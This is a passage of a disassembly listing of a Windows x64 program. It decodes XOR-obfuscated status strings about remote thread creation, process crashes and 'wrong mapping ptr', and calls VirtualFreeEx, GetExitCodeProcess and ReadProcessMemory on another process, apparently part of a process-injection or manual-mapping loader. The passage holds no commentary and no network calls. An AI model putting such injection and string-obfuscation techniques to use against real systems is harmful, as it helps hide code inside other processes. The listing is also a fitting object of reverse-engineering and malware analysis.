movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7d0], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7d1], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7d2], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7d3], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7d4], al
lea rax, [rsp + 0x7d5]
lea rax, [rsp + 0x7d5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x118], 0
jmp 0x140075fde
mov rax, qword [rsp + 0x118]
inc rax
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 0x1c
jae 0x140076042
mov rax, qword [rsp + 0x118]
lea rax, [rsp + rax + 0x7b9]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b8]
xor eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x118]
lea rax, [rsp + rax + 0x7b9]
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov cl, byte [rsp + 0x5c]
mov byte [rax], cl
jmp 0x140075fcb
mov eax, 0x1c
imul rax, rax, 1
lea rax, [rsp + rax + 0x7b9]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov byte [rax], 0
lea rax, [rsp + 0x7b9]
mov qword [rsp + 0x3c8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x3c8]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
mov rcx, qword [rsp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x968], 0x1b
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x969], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x96a], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x96b], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x96c], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x96d], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x96e], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x96f], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x970], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x971], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x972], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x973], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x974], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x975], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x976], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x977], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x978], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x979], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x97a], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x97b], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x97c], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x97d], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x97e], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x97f], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x980], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x981], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x982], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x983], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x984], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x985], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x986], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x987], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x988], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x989], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x98a], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x98b], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x98c], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x98d], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x98e], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x98f], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x990], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x991], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x992], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x993], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x994], al
movsx eax, byte [rsp + 0x968]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str.Thread_created_at:__p__waiting_for_return..._n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x995], al
lea rax, [rsp + 0x996]
lea rax, [rsp + 0x996]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x120], 0
jmp 0x14007681a
mov rax, qword [rsp + 0x120]
inc rax
mov qword [rsp + 0x120], rax
cmp qword [rsp + 0x120], 0x2d
jae 0x14007687e
mov rax, qword [rsp + 0x120]
lea rax, [rsp + rax + 0x969]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x968]
xor eax, ecx
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0x120]
lea rax, [rsp + rax + 0x969]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x3d8]
mov cl, byte [rsp + 0x5d]
mov byte [rax], cl
jmp 0x140076807
mov eax, 0x2d
imul rax, rax, 1
lea rax, [rsp + rax + 0x969]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov byte [rax], 0
lea rax, [rsp + 0x969]
mov qword [rsp + 0x3e8], rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x3e8]
call fcn.140005fa4
mov qword [rsp + 0x1b0], 0
cmp qword [rsp + 0x1b0], 0
jne 0x140077997
mov dword [rsp + 0x90], 0
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rsp + 0x90], 0x103
je 0x140076ec5
mov byte [rsp + 0x838], 4
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x839], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x83a], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x83b], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x83c], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x83d], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x83e], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x83f], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x840], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x841], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x842], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x843], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x844], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x845], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x846], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x847], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x848], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x849], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x84a], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x84b], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x84c], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x84d], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x84e], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x84f], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x850], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x851], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x852], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x853], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x854], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x855], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x856], al
movsx eax, byte [rsp + 0x838]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.Process_crashed__exit_code:__d_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x857], al
lea rax, [rsp + 0x858]
lea rax, [rsp + 0x858]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x128], 0
jmp 0x140076e12
mov rax, qword [rsp + 0x128]
inc rax
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 0x1f
jae 0x140076e76
mov rax, qword [rsp + 0x128]
lea rax, [rsp + rax + 0x839]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x838]
xor eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x128]
lea rax, [rsp + rax + 0x839]
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x3f8]
mov cl, byte [rsp + 0x5e]
mov byte [rax], cl
jmp 0x140076dff
mov eax, 0x1f
imul rax, rax, 1
lea rax, [rsp + rax + 0x839]
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x400]
mov byte [rax], 0
lea rax, [rsp + 0x839]
mov qword [rsp + 0x408], rax
mov edx, dword [rsp + 0x90]
mov rcx, qword [rsp + 0x408]
call fcn.140005fa4
xor al, al
jmp 0x14007b523
lea rax, [rsp + 0x600]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rsp + 0x600]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x1b0], rax
cmp qword [rsp + 0x1b0], 0x404040
jne 0x140077336
mov byte [rsp + 0x6d8], 0x5a
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6d9], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6da], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6db], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6dc], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6dd], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6de], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6df], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e0], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e1], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e2], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e3], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e4], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e5], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e6], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e7], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e8], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e9], al
movsx eax, byte [rsp + 0x6d8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Wrong_mapping_ptr_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ea], al
lea rax, [rsp + 0x6eb]
lea rax, [rsp + 0x6eb]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x130], 0
jmp 0x14007722b
mov rax, qword [rsp + 0x130]
inc rax
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 0x12
jae 0x14007728f
